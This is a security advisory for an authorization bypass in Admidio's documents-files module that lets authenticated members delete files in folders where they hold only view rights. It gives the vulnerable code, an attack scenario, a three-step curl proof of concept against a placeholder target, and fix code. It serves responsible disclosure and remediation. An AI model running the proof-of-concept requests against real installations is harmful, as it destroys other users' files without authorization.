GHSA-qc4c-hrmc-4f78 CVE-2026-47226
Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.35%
- Chance of exploitation in the next 30 days. Higher than 28.41% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
5.0.10- Upgrade admidio/admidio to this version or later
Description
Summary
An authenticated Admidio member with upload rights on any one folder can permanently delete files from folders where they have only view access. The authorization check at the top of modules/documents-files.php evaluates upload rights against the attacker-supplied folder_uuid URL parameter — not the file's actual parent folder. The file_delete handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in folder_uuid while targeting a file in a restricted folder via file_uuid, an attacker bypasses the upload-right check entirely and permanently deletes the file.
This is an incomplete fix of GHSA-rmpj-3x5m-9m5f, which was patched in v5.0.7 but remains exploitable in v5.0.9.
Affected Version: Admidio v5.0.9
Details
Root Cause File: modules/documents-files.php
Issue 1 — folder_uuid is not required for file_delete mode (line 67):
$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(
'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download'))
));
Issue 2 — The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79–88):
if ($getMode != 'list' && $getMode != 'download') {
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID); // uses attacker-supplied UUID
if (!$folder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
}
}
Issue 3 — The file_delete handler only checks view rights via getFileForDownload(). Upload rights on the file's actual folder are never verified (lines 165–178):
case 'file_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$file = new File($gDb);
$file->getFileForDownload($getFileUUID); // view-only check, not upload
$file->delete();
echo json_encode(array('status' => 'success'));
break;
File::getFileForDownload() in src/Documents/Entity/File.php checks only view-role membership — it never verifies upload rights.
Attack Scenario
- The organization has two folders:
PrivateFolder(role A: view-only) andUploadFolder(role A: upload + view). - Attacker is a member of role A — they have legitimate upload access to
UploadFolderonly. - Attacker enumerates a file UUID in
PrivateFolderusingfile_listmode, which is accessible to anyone with view rights. - Attacker sends a
file_deletePOST usingUploadFolder's UUID infolder_uuidand thePrivateFolderfile UUID infile_uuid. - Server checks upload rights against
UploadFolder→ passes. - Server deletes the file from
PrivateFolderwithout ever checking upload rights there.
Prerequisites:
- Authenticated Admidio member account
- Upload rights on at least one folder (legitimately assigned)
- View rights on the target folder (sufficient to enumerate file UUIDs via
file_listmode) - Knowledge of a target file UUID (obtainable from the folder listing)
PoC
Step 1 — Authenticate and obtain login CSRF token:
curl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html
LOGIN_CSRF=$(grep -o 'name="adm_csrf_token"[^>]*value="[^"]*"' /tmp/login.html \
| grep -o 'value="[^"]*"' | cut -d'"' -f2)
curl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \
-X POST "http://TARGET/system/login.php?mode=check" \
-d "usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}"
Step 2 — Extract authenticated session CSRF token:
AUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \
"http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID" \
| grep -oP 'name:\s*"adm_csrf_token",\s*value:\s*"\K[^"]+')
Step 3 — Delete file from restricted folder using the upload folder UUID as bypass:
curl -b /tmp/admidio_cookies.txt \
-X POST "http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID" \
-d "adm_csrf_token=${AUTH_CSRF}"
Expected response: {"status":"success"}
testmember holds upload rights only on UploadFolder. secret2.txt (UUID 93dc6280-...-bba7-...) resided in PrivateFolder and was permanently deleted from both the database and filesystem.
Impact
An authenticated Admidio member with legitimate upload access to any one folder can permanently delete files from any other folder to which they have view access — without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.
Business Impact: Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.
Remediation
In the file_delete handler, after loading the file via getFileForDownload(), verify upload rights against the file's actual parent folder — not the URL-supplied folder_uuid:
case 'file_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$file = new File($gDb);
$file->getFileForDownload($getFileUUID);
// Verify upload rights on the file's actual parent folder
$parentFolder = new Folder($gDb);
$parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
if (!$parentFolder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
}
$file->delete();
echo json_encode(array('status' => 'success'));
break;
Alternative fix: Remove the top-level folder_uuid check for file_delete entirely and move a proper upload-rights verification into the file_delete case as the sole authority for authorization.
Defense-in-depth recommendations:
- Audit all other modes in
documents-files.php(e.g.,folder_delete,file_rename) for the same pattern of trustingfolder_uuidfrom the URL instead of the resource's actual parent. - Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.
- Consider centralizing authorization in a single helper (e.g.,
assertUploadRightOnFile($fileUuid)) to eliminate the URL-parameter trust-boundary issue across the codebase.
Credits
- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester
- Disclosure: Responsible disclosure to Admidio maintainers
References
- GHSA-rmpj-3x5m-9m5f — Prior incomplete fix, patched in v5.0.7
- CWE-862: Missing Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.10 |
5.0.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.10
- composer
composer require admidio/admidio:^5.0.10
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor